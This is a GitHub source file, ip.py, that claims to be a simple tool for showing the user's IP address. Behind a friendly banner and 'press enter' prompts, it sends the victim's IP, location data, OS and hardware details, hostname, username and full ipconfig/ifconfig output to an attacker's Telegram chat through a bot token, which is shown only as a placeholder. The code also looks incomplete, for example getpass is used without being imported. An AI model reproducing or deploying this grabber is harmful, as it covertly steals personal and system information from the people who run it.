-
Notifications
You must be signed in to change notification settings - Fork 1
/
ip.py
61 lines (49 loc) · 2.02 KB
/
ip.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import platform
print("\n'####:'########::")
print(". ##:: ##.... ##:")
print(": ##:: ##:::: ##:")
print(": ##:: ########::")
print(": ##:: ##.....:::")
print(": ##:: ##::::::::")
print("'####: ##::::::::")
print("....::..:::::::::")
input("press enter to continue... ")
print("-------------------------------------")
print("your ip-adress")
print("-------------------------------------")
from test import ip
print("-------------------------------------")
from IP_data import data
print("LOADING... don't stop the process or shutdown the pc...")
import telepot
enjoy="enjoy ;)"
TOKEN="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
chat_id="xxxxxxxxxxxxxxx"
the_location_zone = "---------------localizzation---------------"
bot=telepot.Bot(TOKEN)
bot.sendMessage(chat_id,ip )
bot.sendMessage(chat_id,'https://whatismyipaddress.com/' + ip )
bot.sendMessage(chat_id,enjoy)
bot.sendMessage(chat_id,the_location_zone)
bot.sendMessage(chat_id,data)
bot.sendMessage(chat_id,"--------------os-------------")
bot.sendMessage(chat_id,"python version [] " + platform.python_version())
bot.sendMessage(chat_id,"system [] " + platform.system())
bot.sendMessage(chat_id,"versione [] " + platform.version())
bot.sendMessage(chat_id,"rilascio [] " + platform.release())
bot.sendMessage(chat_id,"macchina [] " + platform.machine())
bot.sendMessage(chat_id,"processore [] " + platform.processor())
bot.sendMessage(chat_id,"nome desktop [] " + platform.node())
bot.sendMessage(chat_id,"piattaforma [] " + platform.platform())
bot.sendMessage(chat_id,platform.uname())
if(platform.system() == "Windows"):
import subprocess
proc = subprocess.check_output("ipconfig" ).decode('utf-8')
bot.sendMessage(chat_id,proc)
if(platform.system() == "Linux"):
import subprocess
proc_1 = subprocess.check_output("ifconfig" ).decode('utf-8')
bot.sendMessage(chat_id,proc_1)
bot.sendMessage(chat_id,getpass.getuser())
print("\nthank you to have used my tool :-)")
input("\n\n\n\n\npress enter to finish... ")